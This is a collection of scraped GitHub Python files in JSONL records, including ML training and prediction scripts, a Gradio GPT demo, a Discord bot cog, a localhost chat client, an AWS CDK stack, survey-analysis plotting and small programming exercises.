= 10\n        self.predicted_time_step = 24\n\n    def predict(self):\n        rain_MSMs = self.rain_MSMs[self.predicted_time_step]\n        X = self.getX()\n        # X = self.getAdditionalX(additionalX=rain_MSMs, X=X)\n        X = Array.getTransposedMatrix(X)\n        rain_MSMs = np.ravel(rain_MSMs)\n        predicted = np.array(self.model.predict(X))\n        # for i in range(len(predicted)):\n        #     if rain_MSMs[i] < 10:\n        #         predicted[i] = rain_MSMs[i]\n        predicted = predicted.reshape([253, 241])\n        self.predicted = predicted\n        print(self.calcRMSE())\n        self.makeFigure(self.predicted)\n        indexes = Indexes.getIndexesLatLon(self, range(56,106), range(64,104))\n        FSS = MathCalculation.FSS_(indexes, 0.5, np.ravel(self.rain_Ra[self.predicted_time_step]), np.ravel(predicted))\n        print('FSS: {:.4f}'.format(FSS))\n        # arr_fss = []\n        # thresholds = np.linspace(0, 50, 21)\n        # for threshold in thresholds:\n        #     FSS = MathCalculation.FSS_(indexes, threshold, np.ravel(self.rain_Ra[self.predicted_time_step]), np.ravel(predicted))\n        #     print(f'threshold: {threshold}, FSS: {FSS}')\n        #     arr_fss.append(FSS)\n\n    def makeFigure(self, var):\n        d = Draw()\n        d.drawMapByArrayNotMultidimensional(\n            v_array=var,\n            v_lat=self.nc_rains.lat,\n            v_lon=self.nc_rains.lon,\n            path=self.save_path,\n            region=self.region\n        )\n\n    def calcRMSE(self):\n        t = self.predicted_time_step\n        X = np.ravel(self.rain_Ra[t])\n        # Y = np.ravel(self.rain_MSMs[t])\n        Y = np.ravel(self.predicted)\n        deviation = np.array([(x - y) ** 2 for (x, y) in zip(X, Y)])\n        RMSE = pow(np.mean(deviation), 0.5)\n        return RMSE\n        \n    def getX(self) -> list:\n        \"\"\"\n        <caution>\n        X to return should be 2 dimensional array: X[number_of_data][number_of_variables]\n\n        <memo>\n        pca.feature: pca.feature[number_of_data][number_of_variables]\n            so, if specific pca components, specify where you wanna use (example: [:10]) after transpose pca.feature\n        \"\"\"\n        X = []\n        for i in range(self.used_component):\n            component = np.ravel(self.nc_pca.variables[f'component{i+1}'][self.predicted_time_step]).tolist()\n            X.append(component)\n        return X\n\n    def getAdditionalX(self, additionalX, X) -> list:\n        if not isinstance(X, list):\n            X = X.tolist()\n        additionalX = np.ravel(additionalX).tolist()\n        X.append(additionalX)\n        return X","repo_name":"janjunjon/master-core","sub_path":"src/netCDF/v2/MLNetCDF.py","file_name":"MLNetCDF.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27116849793","text":"from sqlalchemy import Column, ForeignKey, Integer, String\nfrom sqlalchemy.orm import relationship\n\nfrom app import db\n\nclass ShippingRate(db.Model):\n    '''\n    Rate of the parcel shipping\n    '''\n    __tablename__ = 'shipping_rates'\n\n    id = Column(Integer, primary_key=True)\n    shipping_method_id = Column(Integer, ForeignKey('shipping.id'))\n    shipping_method = relationship('Shipping', foreign_keys=[shipping_method_id])\n    destination = Column(String(2), ForeignKey('countries.id'))\n    weight = Column(Integer, index=True)\n    rate = Column(Integer)\n\n    def __repr__(self):\n        return f\"<{type(self)}: {self.shipping_method.name}/{self.destination}/{self.weight}/{self.rate}>\"\n","repo_name":"ralfeus/order","sub_path":"app/shipping/models/shipping_rate.py","file_name":"shipping_rate.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34294915886","text":"\nclass newNode:\n    def __init__(self, data):\n        self.data = data\n        self.left = self.right = None\n\ndef treeContinous(root):\n    # Empty tree is always continous.\n    if not root:\n        return True\n    \n    # If node is leaf node, return true.\n    if not root.left and not root.right:\n        return True\n    \n    # If there's no left node, traverse right node recusively.\n    if not root.left:\n        return abs(root.data - root.right.data) == 1 and treeContinous(root.right)\n\n     # If there's no right node, traverse left node recusively.\n    if not root.right:\n        return abs(root.data - root.left.data) == 1 and treeContinous(root.left)\n\n    # If both left and right node are present, traverse both ways.\n    return abs(root.data - root.left.data) == 1 and abs(root.data -  root.right.data) == 1 and treeContinous(root.left) and treeContinous(root.right)\n\n\nif __name__ == '__main__':\n    root = newNode(3);\n    root.left        = newNode(2)\n    root.right       = newNode(4)\n    root.left.left  = newNode(1)\n    root.left.right = newNode(1)\n    root.right.right = newNode(5)\n\n    if treeContinous(root):\n        print(\"yes\")\n    else:\n        print(\"nope\")\n","repo_name":"Jeet97/Data-Structures-in-python-for-beginners","sub_path":"Binary Tree/check_continous_tree.py","file_name":"check_continous_tree.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"24843821465","text":"from typing import List, Tuple\n\nimport torch\nimport hydra\nimport gradio as gr\nimport tiktoken\nfrom omegaconf import DictConfig\n\nfrom dlearn import utils\n\nlog = utils.get_pylogger(__name__)\n\n\n# tokenizer\ncl100k_base = tiktoken.get_encoding(\"cl100k_base\")\n\n# In production, load the arguments directly instead of accessing private attributes\n# See openai_public.py for examples of arguments for specific encodings\nenc = tiktoken.Encoding(\n    # If you're changing the set of special tokens, make sure to use a different name\n    # It should be clear from the name what behaviour to expect.\n    name=\"cl100k_im\",\n    pat_str=cl100k_base._pat_str,\n    mergeable_ranks=cl100k_base._mergeable_ranks,\n    special_tokens={\n        **cl100k_base._special_tokens,\n        \"<|im_start|>\": 100264,\n        \"<|im_end|>\": 100265,\n    }\n)\n\ndef demo(cfg: DictConfig) -> Tuple[dict, dict]:\n    \"\"\"Demo function.\n    Args:\n        cfg (DictConfig): Configuration composed by Hydra.\n\n    Returns:\n        Tuple[dict, dict]: Dict with metrics and dict with all instantiated objects.\n    \"\"\"\n\n    assert cfg.ckpt_path\n\n    log.info(\"Running Demo\")\n\n    log.info(f\"Instantiating traced model <{cfg.ckpt_path}>\")\n    loaded_model = torch.jit.load(cfg.ckpt_path)\n\n    log.info(f\"Loaded Model!\")\n\n    def regen_text(chatbot, temperature, max_tokens) -> str:\n        _, chatbot = text_completion(chatbot[-1][0], chatbot, temperature, max_tokens)\n        return \"\", chatbot\n\n    def text_completion(text: str, chatbot, temperature, max_tokens) -> str:\n        input_enc = torch.tensor(enc.encode(text))\n        with torch.inference_mode():\n            out_gen = loaded_model.model.generate(input_enc.unsqueeze(0).long(), \n                                                  max_new_tokens=max_tokens,\n                                                  temperature=temperature)\n        decoded = enc.decode(out_gen[0].cpu().numpy().tolist())\n        chatbot.append((text, decoded))\n        return \"\", chatbot\n\n\n    with gr.Blocks(title=\"EMLO-S8\", theme=gr.themes.Base()) as grdemo:\n        gr.Markdown(\"A Custom GPT Model trained on Harry Potter's dataset.\")\n\n        with gr.Column(scale=6):\n            chatbot = gr.Chatbot(elem_id=\"chatbot\", label=\"EMLO Chatbot\", visible=True, height=550)\n            with gr.Row(equal_height=True):\n                with gr.Column(scale=6):\n                    textbox = gr.Textbox(show_label=False,\n                        placeholder=\"Enter text and press ENTER\", container=False)\n                with gr.Column(scale=1, min_width=60):\n                    submit_btn = gr.Button(value=\"Submit\", visible=True)\n            with gr.Row(visible=True) as button_row:\n                regenerate_btn = gr.Button(value=\"🔄  Regenerate\", interactive=True)\n                clear_btn = gr.ClearButton([textbox, chatbot], value=\"🗑️  Clear chat\")\n\n            with gr.Accordion(\"Parameters\", open=False, visible=True) as parameter_row:\n                temperature = gr.Slider(minimum=0.0, maximum=1.0, value=1, step=0.1, interactive=True, label=\"Temperature\")\n                max_tokens = gr.Slider(minimum=0, maximum=256, value=32, step=4, interactive=True, label=\"Max output tokens\")\n\n            submit_btn.click(text_completion, inputs=[textbox, chatbot, temperature, max_tokens], outputs=[textbox, chatbot])\n            regenerate_btn.click(regen_text, inputs=[chatbot, temperature, max_tokens], outputs=[textbox, chatbot])\n            \n        \n    grdemo.launch()\n\n@hydra.main(\n    version_base=\"1.3\", config_path=\"../configs\", config_name=\"demo.yaml\"\n)\ndef main(cfg: DictConfig) -> None:\n    demo(cfg)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"mmgxa/E3_S8","sub_path":"dlearn/demo_gpt.py","file_name":"demo_gpt.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72198150187","text":"from discord.ext import commands\nfrom apscheduler.schedulers.asyncio import AsyncIOScheduler\nimport pprint\n\nfrom constants import ADMIN_DISCORD_ID, MINECRAFT_SERVER_INFO_CHANNEL_ID, MINECRAFT_SERVER_INFO_EMBED_MSG_ID, \\\n  MINECRAFT_SERVER_INFO_TIME_MSG_ID, MINECRAFT_COMMAND_VALID_DISCORD_SERVER_IDS, MINECRAFT_SERVER_INFO_CATEGORY_ID\n\nfrom services.embed_service import make_minecraft_embed\nfrom services.time_service import get_current_timestamp\nfrom services.winternode_service import winterNode_Request_Wrapper\n\npp = pprint.PrettyPrinter(indent=4)\n\n\nclass Minecraft(commands.Cog):\n  def __init__(self, bot):\n    self.bot = bot\n    self.sched = AsyncIOScheduler(daemon=True)\n    #self.sched.add_job(func=self.fetch_and_update_server_info, trigger='cron', args=[], max_instances=1, minute='5')\n    self.sched.start()\n\n  async def guild_check(ctx):\n    guild_id = ctx.message.guild.id\n    if guild_id not in MINECRAFT_COMMAND_VALID_DISCORD_SERVER_IDS:\n      raise commands.CommandError(message='This command is not available in this server.')\n    return True\n\n  async def admin_check(ctx):\n    if ctx.author.id != ADMIN_DISCORD_ID:\n      raise commands.CommandError(message='You are not allowed to access this command.')\n    return True\n\n  @commands.command(\n    description='Get Minecraft server info',\n    usage='server',\n    checks=[guild_check]\n  )\n  async def server(self, ctx):\n    await ctx.send(\n      embed=make_minecraft_embed(winterNode_Request_Wrapper.get_allocation_data(),\n                                 winterNode_Request_Wrapper.get_utilization_data()))\n\n  @commands.command(\n    description='Pretty print Winternode API calls for debugging purposes',\n    usage='pprint',\n    checks=[guild_check, admin_check]\n  )\n  async def pprint(self, ctx):\n    pp.pprint(winterNode_Request_Wrapper.get_allocation_data())\n    pp.pprint(winterNode_Request_Wrapper.get_utilization_data())\n\n  async def fetch_and_update_server_info(self):\n    utilization_json = winterNode_Request_Wrapper.get_utilization_data()\n\n    category = self.bot.get_channel(MINECRAFT_SERVER_INFO_CATEGORY_ID)\n    try:\n      await category.edit(name='ミームチーム建設 ({0}/{1})'.format(len(utilization_json['attributes']['query']['players']),\n                                                           utilization_json['attributes']['query']['maxplayers']))\n    except KeyError:\n      await category.edit(name='ミームチーム建設 (?/?)')\n    channel = self.bot.get_channel(MINECRAFT_SERVER_INFO_CHANNEL_ID)\n    server_info_message = await channel.fetch_message(MINECRAFT_SERVER_INFO_EMBED_MSG_ID)\n    await server_info_message.edit(content='', embed=make_minecraft_embed(winterNode_Request_Wrapper.get_allocation_data(),\n                                                                          utilization_json))\n    time_message = await channel.fetch_message(MINECRAFT_SERVER_INFO_TIME_MSG_ID)\n    await time_message.edit(content='Updated at <t:{0}:F>.'.format(get_current_timestamp()))\n","repo_name":"Dan-Kim/nana","sub_path":"cogs/minecraft.py","file_name":"minecraft.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3513226897","text":"N = int(input())\nplans = input().split()\n\nx, y = 1,1 #시작 좌표\n\ndy = [0,-1,0,1]\ndx = [-1,0,1,0]\n\nsite = ['U','L','D','R']\n\nfor plan in plans:\n    for i in range(len(dy)):\n        if plan == site[i]:\n            nx = x + dx[i]\n\n            ny = y + dy[i]\n\n            if nx <1 or ny <1 or nx >N or ny >N: #배열 크기를 벗어나는 경우 예외처리\n                continue\n\n            x,y = nx, ny #바뀐 위치 대입\n\nprint(x,y)","repo_name":"leeju0/Goorm_PY","sub_path":"implementation/상하좌우.py","file_name":"상하좌우.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36374471403","text":"import phonenumbers\r\nfrom phonenumbers import geocoder, carrier\r\nimport folium\r\nfrom opencage.geocoder import OpenCageGeocode\r\n\r\n# Replace 'your_phone_number_here' with the phone number you want to lookup\r\nphone_number = 'your_phone_number_here'\r\n\r\n# Parse the phone number\r\npep_number = phonenumbers.parse(phone_number)\r\n\r\n# Get the location information\r\nlocation = geocoder.description_for_number(pep_number, \"en\")\r\nprint(\"Location:\", location)\r\n\r\n# Get the carrier information\r\nservice_provider = carrier.name_for_number(pep_number, \"en\")\r\nprint(\"Service Provider:\", service_provider)\r\n\r\n# Set your OpenCage API key\r\nopencage_key = 'your_opencage_api_key_here'\r\n\r\n# Initialize the OpenCageGeocode instance\r\ngeocoder = OpenCageGeocode(opencage_key)\r\n\r\n# Get the geolocation (latitude and longitude) for the location\r\nquery = str(location)\r\nresults = geocoder.geocode(query)\r\n\r\n# Check if results were found\r\nif results:\r\n    lat = results[0]['geometry']['lat']\r\n    lng = results[0]['geometry']['lng']\r\n    print(\"Latitude:\", lat)\r\n    print(\"Longitude:\", lng)\r\n\r\n    # Create a map\r\n    my_map = folium.Map(location=[lat, lng], zoom_start=9)\r\n\r\n    # Add a marker to the map\r\n    folium.Marker([lat, lng], popup=location).add_to(my_map)\r\n\r\n    # Save the map to an HTML file\r\n    my_map.save('mylocation.html')\r\nelse:\r\n    print(\"Location not found.\")\r\n\r\n","repo_name":"Adeel-Farooq-Khan/Number-Location-Tracking-System-Using-Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"7019176532","text":"################################################################\n# Client-Server Chat Program - CLIENT\n# By Casimero Tanseco\n#\n# Sources:\n# 1) https://docs.python.org/3/howto/sockets.html\n# 2) https://realpython.com/python-sockets/#socket-api-overview\n################################################################\n\nimport socket\n\n# Connection details\nHOST = \"127.0.0.1\"\nPORT = 65123\n\n# Connect to server\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.connect((HOST, PORT))\n    print(f\"Connected to localhost on port: {PORT}\")\n    print(\"Type /q to quit\")\n\n    # Loop to send and receive messages from server\n    while True:\n\n        # Receive input from user and send message to server\n        send_data = input(\">\")\n        s.sendall(bytes(send_data, 'UTF-8'))\n\n        # Quit program if /q command is entered\n        if send_data == '/q':\n            print(\"Connection closed.  Goodbye.\")\n            quit()\n\n        # Receive and decode data from server\n        received_data = s.recv(1024)\n        if not received_data:\n            break\n        received_data_decoded = received_data.decode('UTF-8')\n\n        # Quit if /q command is received\n        if received_data_decoded == '/q':\n            s.close()\n            print(\"Connection closed.  Goodbye.\")\n            quit()\n\n        # Print decoded message\n        print(received_data.decode('UTF-8'))","repo_name":"tansecoc/CS372-Client-Server-Chat","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"32208237066","text":"from aws_cdk import (\n    # Duration,\n    Stack,\n    aws_ec2 as ec2  \n    # aws_sqs as sqs,\n)\nfrom constructs import Construct\n\nCIDR = '192.168.0.0/16'\n\nclass VpcPublicStack(Stack):\n\n    def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n        super().__init__(scope, construct_id, **kwargs)\n\n        self.vpc = ec2.Vpc(\n            self,\n            'two-tier',\n            cidr=CIDR,\n            max_azs=2,\n            subnet_configuration=[\n                ec2.SubnetConfiguration(\n                    name='public',\n                    subnet_type=ec2.SubnetType.PUBLIC\n                ),\n                ec2.SubnetConfiguration(\n                    name='private',\n                    subnet_type=ec2.SubnetType.PRIVATE_WITH_NAT\n                ),\n            ]\n        )\n","repo_name":"mississppi/aws-cdk-template","sub_path":"vpc_public/vpc_public_stack.py","file_name":"vpc_public_stack.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"2874222777","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov  7 10:29:06 2018\n\n@author: lamkeatyee\n\"\"\"\n\nfilename = \"demo.csv\"\naccessmode = \"r\"\n\n\nwith open(filename,accessmode) as mycsvfile:\n    datafromfile = csv.reader(mycsvfile)","repo_name":"keatyeelam/keatyee-kl-oct18","sub_path":"csvsample2.py","file_name":"csvsample2.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"19644653864","text":"import pandas\nimport numpy\nfrom matplotlib import pyplot\nimport pprint\nimport re\n\ndataset = pandas.read_excel('dataset.xlsx')\n\n\nvars = ['What is your major?', \n        'What year are you?', \n        'What is your age?',\n        'How many live online classes are you currently taking?', \n        'Are you more likely to turn on your camera for a lecture office hours, or peer meeting?', \n        'How often do you participate?(on)', \n        'How often do you participate?(off)',\n        'How often do you look at your phone or other distractions?(off)', \n        'How often do you look at your phone or other distractions?(on)', \n        'Do you prefer your instructor to have their camera on or off?',\n        'Do you think turning on cameras should be mandatory?']\n\ndef showCorrelation(variable, variable2, title):\n    df = pandas.DataFrame({variable2.name : variable2, variable.name : variable})\n    print('\\nCorrelation:')\n    print(variable.corr(variable2, method='pearson'))\n    print('\\n\\n\\n')\n    df.plot.scatter(x=0, y=1, figsize=(15,9))\n    pyplot.title(title)\n    pyplot.show()\n\ndef calcMetrics(variable):\n    print('Variable Name: ' + variable.name)\n    print('n = %d' % variable.size)\n    print('Mean: %.3f' % variable.mean())\n    print('Median: %d' % variable.median())\n    print('Std dev: %.3f' % variable.std())\n    print('Variance: %.3f' % variable.var())\n    print('Range: %d' % (variable.max() - variable.min()))\n    print('Skewness: %.3f' % variable.skew())\n\n    q1 = variable.quantile(0.25)\n    q3 = variable.quantile(0.75)\n    iqr = q3 - q1\n\n    print('\\n')\n    print('Min: %d' % variable.min())\n    print('Q1: %.3f' % q1)\n    print('Q3: %.3f' % q3)\n    print('IQR: %.3f' % iqr)\n    print('Max: %d' % variable.max())\n    print('\\n')\n    print('Outliers: \\n')\n    outliers = variable[(variable-variable.median()).abs() > (1.5 * iqr)].values\n    print('Count: %d' % outliers.size)\n    print('Values: ')\n    print(outliers)\n    print('\\n\\n\\n')\n\ndef printCategorical(variable):\n    print('Variable Name: ' + variable.name)\n    print('n = %d' % variable.size)\n    variable = variable.astype(\"category\")\n    print(variable.describe())\n    pprint.pprint(variable.value_counts().to_dict(), width=1)\n\ndef countMeetReasons(variable):\n    rows = [0,0,0,0]\n    columns = [\n        \"Lecture\",\n        \"Office Hours\",\n        \"Peer Meeting\",\n        \"No preference\"\n    ]\n    i = 0\n    total = 0\n    for x in variable:             \n        #check if x is valid\n        if isinstance(x, str):\n            for i in range(4):                    \n                if re.search(columns[i], x):\n                    rows[i] += 1\n                    total += 1\n    df = pandas.DataFrame(rows, columns)\n    print(df)\n    print(total)\n    pyplot.figure(figsize=(15,9))\n    pyplot.bar(columns, rows)\n    pyplot.title('Where Students Prefer to Turn on Their Camera')\n    pyplot.xlabel('Preference')\n    pyplot.ylabel('Number of Occurances')\n    pyplot.show()\n\ndef countNoCameraReasons(variable):\n    rows = [0,0,0,0,0,0]\n    columns = [\n        \"It makes you uncomfortable\",\n        \"Presentation\",\n        \"You don't have a camera\",\n        \"Anxiety\",\n        \"I always have my camera on!\",\n        \"The camera is distracting\"\n    ]\n    labels= [\n        \"Uncomfortable\",\n        \"Presentation\",\n        \"No Camera\",\n        \"Anxiety\",\n        \"Camera Is On\",\n        \"Distracting\"\n    ]\n    \n    total = 0\n\n    for x in variable:             \n        #check if x is valid\n         if isinstance(x, str):\n            for i in range(6):                    \n                if re.search(columns[i], x):\n                    rows[i] += 1\n                    total += 1\n    df = pandas.DataFrame(rows, columns)\n    print(df)\n    print(total)\n    pyplot.figure(figsize=(15,9))\n    pyplot.bar(columns, rows)\n    pyplot.title('Reasons For Not Turning On Webcam')\n    pyplot.ylabel('Number of Occurances')\n    pyplot.xlabel('Reason')\n    pyplot.xticks(range(6), labels)\n    pyplot.show()\n\n\nprintCategorical(dataset[vars[9]])\nprintCategorical(dataset[vars[10]])\ndataset.groupby(vars[10]).size().plot.pie(figsize=(15, 9), autopct='%1.0f%%')\npyplot.title('Should Cameras Be Mandatory?')\npyplot.show()\n\ncountNoCameraReasons(dataset[\"What might prevent you from turning on your camera?\"])\ncountMeetReasons(dataset[\"Are you more likely to turn on your camera for a lecture, office hours, or peer meeting?\"])\n\nprint(dataset[vars[0]])\ncalcMetrics(dataset[vars[2]])\ndataset[vars[2]].hist(figsize=(15,9))\npyplot.title('Number of Responses Based on Age')\npyplot.ylabel('Number of Responses')\npyplot.xlabel('Age')\npyplot.show()\n\n\n\n\ncalcMetrics(dataset[vars[3]])\nprintCategorical(dataset[vars[0]])\nprintCategorical(dataset[vars[1]])\n\ndataset[vars[0]].hist(figsize=(15,9))\npyplot.title('Number of Responses Based on Field of Study')\npyplot.xlabel('Fields of Study')\npyplot.ylabel('Number of Responses')\npyplot.show()\ndataset[vars[1]].hist(figsize=(15,9))\npyplot.title('Number of Responses Based on Year of Study')\npyplot.xlabel('Year of Study')\npyplot.ylabel('Number of Responses')\npyplot.show()\n\n#printCategorical(dataset[vars[4]])\n#dataset[vars[4]].hist();\n#pyplot.title('untitled 3')\n#pyplot.xlabel('')\n#pyplot.ylabel('')\n#pyplot.show()\n\ncalcMetrics(dataset[vars[5]])\ndataset[vars[5]].hist(bins=range(1,7), align='left', figsize=(15,9))\npyplot.title('Frequency of Participation with Camera On')\npyplot.xlabel('Scale: 1 = Very Infrequent Participation\\n 5 = Very Frequent Participation')\npyplot.ylabel(\"Number of Responses\")\npyplot.xticks(ticks = (1,2,3,4,5))\npyplot.show()\n\ncalcMetrics(dataset[vars[6]])\ndataset[vars[6]].hist(bins=range(1,7), align='left', figsize=(15,9))\npyplot.title('Frequency of Participation with Camera Off')\npyplot.xlabel('Scale: 1 = Very Infrequent Participation\\n 5 = Very Frequent Participation')\npyplot.ylabel(\"Number of Responses\")\npyplot.xticks(ticks = (1,2,3,4,5))\npyplot.show()\n\ny1 = dataset[vars[6]]\ny2 = dataset[vars[5]]\nfig, ax1 = pyplot.subplots(figsize=(15,9))\nax1.hist([y1,y2],color=['r','g'], bins=range(1,7), label=['Camera Off','Camera On'], align='left')\nax1.set_xlim(1,5)\nax1.set_title(\"Class Participation: Camera On vs. Camera Off\")\nax1.set_ylabel(\"Number of Responses\")\nax1.set_xlabel('Scale: 1 = Very Infrequent Participation\\n 5 = Very Frequent Participation')\npyplot.tight_layout()\npyplot.legend(loc='upper right')\npyplot.xticks(ticks = (0,1,2,3,4,5,6))\npyplot.show()\n\ncalcMetrics(dataset[vars[7]])\ndataset[vars[7]].hist(bins=range(1,7), align='left', figsize=(15,9))\npyplot.title('Frequency of Phone Use with Camera Off')\npyplot.xlabel(\"Scale: 1 = Very Rare Phone Use\\n 5 = Very Frequent Phone Use\")\npyplot.ylabel(\"Number of Responses\")\npyplot.xticks(ticks = (1,2,3,4,5))\npyplot.show()\n\ncalcMetrics(dataset[vars[8]])\ndataset[vars[8]].hist(bins=range(1,7), align='left', figsize=(15,9))\npyplot.title('Frequency of Phone Use with Camera On')\npyplot.xlabel(\"Scale: 1 = Very Rare Phone Use\\n 5 = Very Frequent Phone Use\")\npyplot.ylabel(\"Number of Responses\")\npyplot.xticks(ticks = (1,2,3,4,5))\npyplot.show()\n\ny1 = dataset[vars[7]]\ny2 = dataset[vars[8]]\nfig, ax1 = pyplot.subplots(figsize=(15,9))\nax1.hist([y1,y2],color=['r','g'], bins=range(1,7), label=['Camera Off','Camera On'], align='left')\nax1.set_xlim(1,5)\nax1.set_title(\"Frequency of Phone Usage: Camera On vs. Camera Off\")\nax1.set_ylabel(\"Number of Responses\")\nax1.set_xlabel(\"Scale: 1 = Very Rare Phone Use\\n 5 = Very Frequent Phone Use\")\npyplot.tight_layout()\npyplot.legend(loc='upper right')\npyplot.xticks(ticks = (0,1,2,3,4,5,6))\npyplot.show()\n\n\n\nshowCorrelation(dataset[vars[6]], dataset[vars[2]], 'Camera Off Participation Correlated to Respondent\\'s Age')\nshowCorrelation(dataset[vars[7]], dataset[vars[2]], 'Camera Off Phone Use Correlated to Respondent\\'s Age')\nshowCorrelation(dataset[vars[6]], dataset[vars[7]], 'Camera Off Participation vs Phone Use')\n\n\ngroup = dataset.groupby('What year are you?')['How do you think having your camera on during lectures affects your performance in class?'].mean()\n\ngroup2 = dataset.groupby('Which of the following most accurately describes you?')['How do you think having your camera on during lectures affects your performance in class?'].mean()\n\ngroup3 = dataset.groupby('What is your major?')['How do you think having your camera on during lectures affects your performance in class?'].mean()\n\nprint(group)\nprint(group2)\nprint(group3)","repo_name":"Mr-1337/Camera-Usage","sub_path":"PythonApplication1/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":8365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"22998295701","text":"from cs50 import get_int\n\ndef main():\n    while True:\n        height = get_int(\"Height: \")\n        if height >= 1 and height <= 8:\n            break\n\n    printPyramid(height)\n\ndef printPyramid(height):\n    spaces = height - 1\n    blocks = 1\n    for h in range(height):\n        for s in range(spaces):\n            print(\" \", end = \"\")\n        for b in range(blocks):\n            print(\"#\", end = \"\")\n        print(\"  \", end = \"\")\n        for b in range(blocks):\n            print(\"#\", end = \"\")\n        blocks += 1\n        spaces -= 1\n        print()\n\nif __name__ == \"__main__\":\n    main()","repo_name":"William-Fernandes252/CS50x","sub_path":"pset6/mario/mario.py","file_name":"mario.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74220257386","text":"import numpy as np\nimport os\nimport argparse\nimport cv2\n\nimport config as cfg\nfrom models.cnn import VesselSegmCNN\nimport util\n\n\ndef parse_args():\n    \"\"\"\n    Parse input arguments\n    \"\"\"\n    parser = argparse.ArgumentParser(description='Train a vessel_segm_cnn network')\n    parser.add_argument('--dataset', default='Artery', help='Dataset to use: Can be Artery or HRF', type=str)\n    parser.add_argument('--cnn_model', default='driu', help='CNN model to use', type=str)\n    parser.add_argument('--lr', default=1e-02, help='Learning rate to use: Can be any floating point number', type=float)\n    parser.add_argument('--max_iters', default=5000, help='Maximum number of iterations', type=int)\n    parser.add_argument('--pretrained_model', default='pretrained_model/VGG_imagenet.npy', help='path for a pretrained model(.pth)', type=str)\n    parser.add_argument('--save_root', default='log', help='root path to save trained models and test results', type=str)\n    args = parser.parse_args()\n    return args\n\n\n\n\ndef run_train(args):\n    print('Called with args:')\n    print(args)\n\n    data_layer_train = util.DataLayer(args.dataset, 'train.txt', is_training=True)\n    data_layer_test = util.DataLayer(args.dataset, 'test.txt', is_training=False)\n\n    log_dir = os.path.join(args.save_root, args.dataset, 'CNN')\n    model_save_dir = os.path.join(log_dir, 'weights')\n    res_save_dir = os.path.join(log_dir, 'graph')\n\n    if not os.path.exists(log_dir): os.makedirs(log_dir)\n    if not os.path.isdir(model_save_dir): os.mkdir(model_save_dir)\n    if not os.path.isdir(res_save_dir): os.mkdir(res_save_dir)\n\n    network = VesselSegmCNN(args)\n\n    if args.pretrained_model is not None:\n        print(\"Loading pretrained model...\")\n        network.load_npy(args.pretrained_model)\n\n    f_log = open(os.path.join(log_dir,'log.txt'), 'w')\n    last_snapshot_iter = -1\n    timer = util.Timer()\n\n    train_loss_list = []\n    test_loss_list = []\n    print(\"Training the model...\")\n    for iter in range(args.max_iters):\n        timer.tic()\n        # get one batch\n        _, blobs_train = data_layer_train.forward()\n        fov_masks = np.ones(blobs_train['label'].shape, dtype=blobs_train['label'].dtype)\n\n        loss_val, accuracy_val, pre_val, rec_val, _ = network.run_batch(blobs_train['img'], blobs_train['label'], fov_masks)\n        timer.toc()\n        train_loss_list.append(loss_val.item())\n\n        if (iter+1) % (cfg.DISPLAY) == 0:\n            print('iter: %d / %d, loss: %.4f, accuracy: %.4f, precision: %.4f, recall: %.4f'\\\n                  %(iter+1, args.max_iters, loss_val, accuracy_val, pre_val, rec_val))\n            print('speed: {:.3f}s / iter'.format(timer.average_time))\n\n        if (iter+1) % cfg.SNAPSHOT_ITERS == 0:\n            last_snapshot_iter = iter\n            filename = os.path.join(model_save_dir, ('iter_{:d}'.format(iter+1) + '.pth'))\n            network.save_model(filename)\n            print('Wrote snapshot to: {:s}'.format(filename))\n\n        if (iter+1) % cfg.TEST_ITERS == 0:\n            all_labels = np.zeros((0,))\n            all_preds = np.zeros((0,))\n\n            for _ in range(int(np.ceil(float(len(data_layer_test.imagepathes)) / cfg.BATCH_SIZE))):\n                # get one batch\n                img_list, blobs_test = data_layer_test.forward()\n\n                imgs = blobs_test['img']\n                labels = blobs_test['label']\n                fov_masks = np.ones(labels.shape, dtype=labels.dtype)\n                loss_val, *_, fg_prob_map = network.run_batch(imgs, labels, fov_masks, False)\n\n                test_loss_list.append(loss_val.item())\n                all_labels = np.concatenate((all_labels, np.reshape(labels, (-1))))\n                fg_prob_map = fg_prob_map * fov_masks.astype(float)\n                all_preds = np.concatenate((all_preds, np.reshape(fg_prob_map, (-1))))\n                # save qualitative results\n                cur_batch_size = len(img_list)\n                reshaped_fg_prob_map = fg_prob_map.reshape((cur_batch_size, fg_prob_map.shape[1],fg_prob_map.shape[2]))\n                # reshaped_output = reshaped_fg_prob_map >= 0.5\n                for img_idx in range(cur_batch_size):\n                    cur_test_img_path = img_list[img_idx]\n                    temp_name = os.path.basename(cur_test_img_path)\n\n                    